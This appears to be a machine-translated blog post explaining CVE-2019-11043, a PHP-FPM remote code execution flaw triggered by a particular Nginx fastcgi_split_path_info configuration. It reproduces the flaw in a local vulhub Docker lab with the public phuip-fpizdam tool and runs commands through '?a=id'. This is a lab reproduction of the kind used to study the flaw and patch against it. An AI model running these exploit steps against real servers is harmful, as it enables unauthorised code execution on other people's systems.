当前位置:网站首页>Cve-2019-11043 (PHP Remote Code Execution Vulnerability)
Cve-2019-11043 (PHP Remote Code Execution Vulnerability)
2022-07-06 04:54:00 【w01ke】
One 、 Vulnerability description
CVE-2019-11043 It's a Remote Code Execution Vulnerability , Using some specific configuration of Nginx + PHP-FPM There is a vulnerability in our server , Allows attackers to execute code remotely .
towards Nginx + PHP-FPM Server for URL send out %0a when , The server returned an exception .
The vulnerability needs to be in nginx.conf Specific configuration in can trigger . The specific configuration is as follows :
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Attackers can use line breaks (%0a) To destroy fastcgi_split_path_info Directive Regexp. Regexp Damaged, resulting in PATH_INFO It's empty , This triggers the vulnerability .
Two 、 scope
stay Nginx + PHP-FPM In the environment , When the above... Is enabled Nginx After the configuration , following PHP The version is affected by this vulnerability , in addition ,PHP 5.6 The version is also affected by this vulnerability , But for now, it's just Crash, No remote code execution :
● PHP 7.0 edition
● PHP 7.1 edition
● PHP 7.2 edition
● PHP 7.3 edition
3、 ... and 、 Loophole recurrence
Use P Cow's docker The environment is reproduced :
PHP-FPM Remote code execution vulnerability (CVE-2019-11043)
1、 install docker、golang Environmental Science
sudo apt-get install docker docker-compose
sudo apt install golang
2、 Build a loophole environment
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

After starting the environment , You can see the default page of the vulnerability environment . Here is http://127.0.0.1:8080/index.php

3、 Install exploit tools
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

Error reason : The default is proxy.golang.org, Can't visit... At home
Change a proxy address that can be accessed in China :https://goproxy.cn. Re execute the command
go env -w GOPROXY=https://goproxy.cn
go get -v && go build


4、 Exploit
go run . "http://127.0.0.1:8080/index.php"

visit http://127.0.0.1/index.php?a=id
Be careful , because php-fpm Will start multiple sub processes , During a visit to /index.php?a=id You need to visit more than once , To access the contaminated process .



curl ip.sb by Linux China query public network IP The order of
Four 、 Reference link
https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md
https://github.com/neex/phuip-fpizdam
https://wolke.cn/post/4f87817f.html
边栏推荐
- MIT CMS. 300 session 8 – immersion / immersion
- 也算是学习中的小总结
- 比尔·盖茨晒18岁个人简历,48年前期望年薪1.2万美元
- Ue5 small knowledge freezerendering view rendered objects in the cone
- ORM aggregate query and native database operation
- Ue5 small knowledge points to enable the setting of lumen
- [buuctf.reverse] 159_ [watevrCTF 2019]Watshell
- Programmers' position in the Internet industry | daily anecdotes
- Lepton 无损压缩原理及性能分析
- Application of Flody
猜你喜欢

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

yolov5 tensorrt加速

麥斯克電子IPO被終止:曾擬募資8億 河南資產是股東

Selection of slow motion function

Weng Kai C language third week 3.1 punch in

Postman assertion

Zynq learning notes (3) - partial reconfiguration
![[Yu Yue education] reference materials of complex variable function and integral transformation of Northwestern Polytechnic University](/img/22/ead74bc121a64910ef6ef374cd029b.png)
[Yu Yue education] reference materials of complex variable function and integral transformation of Northwestern Polytechnic University

二叉树基本知识和例题
![[detailed steps of FreeRTOS shift value for the first time]](/img/73/a469eb2465bb2c5acaa4d018d3edd3.jpg)
[detailed steps of FreeRTOS shift value for the first time]
随机推荐
Use sentinel to interface locally
Nestjs配置文件上传, 配置中间件以及管道的使用
Microservice resource address
Leetcode dynamic planning day 16
IPv6 comprehensive experiment
Why does MySQL need two-phase commit
Three.js学习-光照和阴影(了解向)
饼干(考试版)
Quatre méthodes de redis pour dépanner les grandes clés sont nécessaires pour optimiser
Sorting out the knowledge points of multicast and broadcasting
关于es8316的音频爆破音的解决
GAMES202-WebGL中shader的编译和连接(了解向)
Application of Flody
The video in win10 computer system does not display thumbnails
Flink kakfa data read and write to Hudi
web工程导入了mysql驱动jar包却无法加载到驱动的问题
Idea one key guide package
关于Unity Inspector上的一些常用技巧,一般用于编辑器扩展或者其他
The web project imported the MySQL driver jar package but failed to load it into the driver
EditorUtility. The role and application of setdirty in untiy